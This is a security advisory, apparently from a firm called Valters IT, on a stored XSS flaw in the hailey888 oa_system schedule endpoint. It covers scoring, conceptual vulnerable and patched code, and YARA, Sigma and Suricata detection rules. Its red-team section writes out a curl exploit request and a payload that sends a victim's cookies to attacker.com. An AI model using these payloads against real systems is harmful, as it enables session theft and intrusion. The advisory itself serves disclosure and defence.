CVE-2025-3390

Executive Summary

CVE-2025-3390 is a stored cross-site scripting (XSS) vulnerability in the hailey888 oa_system backend, specifically in the DaymanageController.java file. The flaw exists in the addandchangeday function, which improperly sanitizes the scheduleList parameter, allowing an attacker to inject arbitrary JavaScript. This vulnerability is remotely exploitable without authentication, and a public proof-of-concept (PoC) has been released. The product uses a rolling release model, making version tracking difficult, and no official patch has been issued.

Supply Chain & Package Security

This vulnerability is not in a package manager (NPM, PyPI, Go, Ruby) but in a custom Java-based OA system. However, the rolling release model introduces supply chain risks: users may unknowingly pull a vulnerable build, and there is no version pinning or integrity verification mechanism described. Organizations using this system should treat it as a high-risk component and consider replacing it with a maintained alternative.

CVSS Breakdown & Threat Level

CVSS Score: 5.4 (Medium)
Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N

• Attack Vector (AV): Network – the vulnerability can be exploited remotely.
• Attack Complexity (AC): Low – no special conditions required.
• Privileges Required (PR): None – no authentication needed.
• User Interaction (UI): Required – the victim must click a crafted link or view a malicious page.
• Scope (S): Unchanged – the attacker cannot pivot to other components.
• Confidentiality (C): Low – limited data exposure (e.g., session tokens).
• Integrity (I): Low – limited ability to modify data.
• Availability (A): None – no denial-of-service impact.

Threat Level: Medium. The public PoC and lack of patch increase the risk, but the requirement for user interaction reduces the immediate danger.

Deep Dive & Mechanics

The vulnerability resides in the addandchangeday method of DaymanageController.java. This method handles HTTP requests to add or modify schedule entries. The scheduleList parameter is expected to contain JSON data representing schedule items. The application fails to sanitize or encode the input before storing it in the database and later rendering it in the admin panel.

Attack Flow:

1. An attacker sends a POST request to the vulnerable endpoint with a malicious scheduleList payload.
2. The payload is stored in the database without sanitization.
3. When an administrator views the schedule management page, the stored payload is rendered as HTML/JavaScript.
4. The attacker’s script executes in the context of the admin’s session, allowing theft of cookies, session tokens, or performance of actions on behalf of the admin.

Root Cause: The application uses a direct assignment of user input to a model field without any output encoding or validation. The addandchangeday function likely calls scheduleList.toString() or directly sets a string field, which is later rendered in a JSP or Thymeleaf template without escaping.

Vulnerable vs. Patched Code

Vulnerable Code (conceptual):

// DaymanageController.java
@RequestMapping("/addandchangeday")
public String addAndChangeDay(@RequestParam String scheduleList) {
    Schedule schedule = new Schedule();
    schedule.setContent(scheduleList); // No sanitization
    scheduleDao.save(schedule);
    return "redirect:/schedule";
}

Patched Code (conceptual):

// DaymanageController.java
import org.owasp.encoder.Encode;

@RequestMapping("/addandchangeday")
public String addAndChangeDay(@RequestParam String scheduleList) {
    String sanitized = Encode.forHtml(scheduleList); // HTML-encode input
    Schedule schedule = new Schedule();
    schedule.setContent(sanitized);
    scheduleDao.save(schedule);
    return "redirect:/schedule";
}

The patch would require HTML-encoding the input before storage or, better yet, using a templating engine that auto-escapes output (e.g., Thymeleaf with th:utext replaced by th:text).

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A running instance of hailey888 oa_system (version up to 2025.01.01).
• Network access to the backend endpoint.

Exploit Steps:

1. Identify the vulnerable endpoint: POST /daymanage/addandchangeday
2. Craft a malicious payload:

{
  "scheduleList": "<script>alert('XSS')</script>"
}

3. Send the request using curl:

curl -X POST http://target:8080/daymanage/addandchangeday \
  -H "Content-Type: application/json" \
  -d '{"scheduleList": "<script>alert(document.cookie)</script>"}'

4. Wait for an admin to view the schedule page. The script will execute, stealing cookies or performing actions.

Advanced Payload (session theft):

<script>
fetch('http://attacker.com/steal?cookie=' + document.cookie);
</script>

Blue Team (Detection & Hardening)

Detection:

• Monitor logs for unusual POST requests to /daymanage/addandchangeday with HTML/script content.
• Use a WAF rule to block requests containing <script> tags in JSON parameters.

Hardening:

• Apply input validation: reject any input containing HTML tags.
• Implement Content Security Policy (CSP) headers to block inline scripts.
• Use a web application firewall (WAF) to filter XSS payloads.

Indicators of Compromise (IOCs)

• Network IOCs:
  • POST requests to /daymanage/addandchangeday with scheduleList containing <script> tags.
  • Outbound connections to attacker-controlled domains from the OA server.
• File IOCs:
  • Log entries in daymanage.log showing unsanitized HTML input.
• Behavioral IOCs:
  • Unexpected JavaScript execution in the admin panel.
  • Unauthorized changes to schedule data.

Detection Engineering

YARA Rule

rule CVE_2025_3390_XSS_Payload {
    meta:
        description = "Detects XSS payloads targeting CVE-2025-3390"
        author = "Valters IT"
        date = "2025-04-10"
    strings:
        $xss1 = /<script[^>]*>.*<\/script>/i
        $xss2 = /onerror\s*=\s*["']?[^"']*["']?/i
        $xss3 = /javascript\s*:/i
    condition:
        any of them
}

Sigma Rule

title: CVE-2025-3390 XSS Attempt
id: 8a9b3c2d-1e5f-4a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP POST requests to /daymanage/addandchangeday with XSS payloads
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: POST
        cs-uri-stem: /daymanage/addandchangeday
        cs-uri-query|contains: 
            - "<script"
            - "onerror"
            - "javascript:"
    condition: selection
falsepositives:
    - Legitimate use of HTML in schedule descriptions (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-3390 XSS Attempt"; flow:to_server; content:"POST"; http_method; content:"/daymanage/addandchangeday"; http_uri; content:"<script"; http_client_body; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the vulnerable endpoint if not critical: Block /daymanage/addandchangeday at the web server or WAF.
2. Apply input validation: Reject any scheduleList containing HTML tags or JavaScript.
3. Implement CSP: Add Content-Security-Policy: script-src 'self' to prevent inline scripts.

Long-term Fix:

• The vendor must release a patched version that HTML-encodes user input before storage and uses output encoding in templates.
• Since the product uses a rolling release, monitor the vendor’s repository for updates and apply them immediately.

Workaround:

• Use a reverse proxy (e.g., Nginx) to filter malicious payloads:

location /daymanage/addandchangeday {
    if ($request_body ~* "<script") {
        return 403;
    }
    proxy_pass http://backend;
}

Valters IT
Securing Digital Frontiers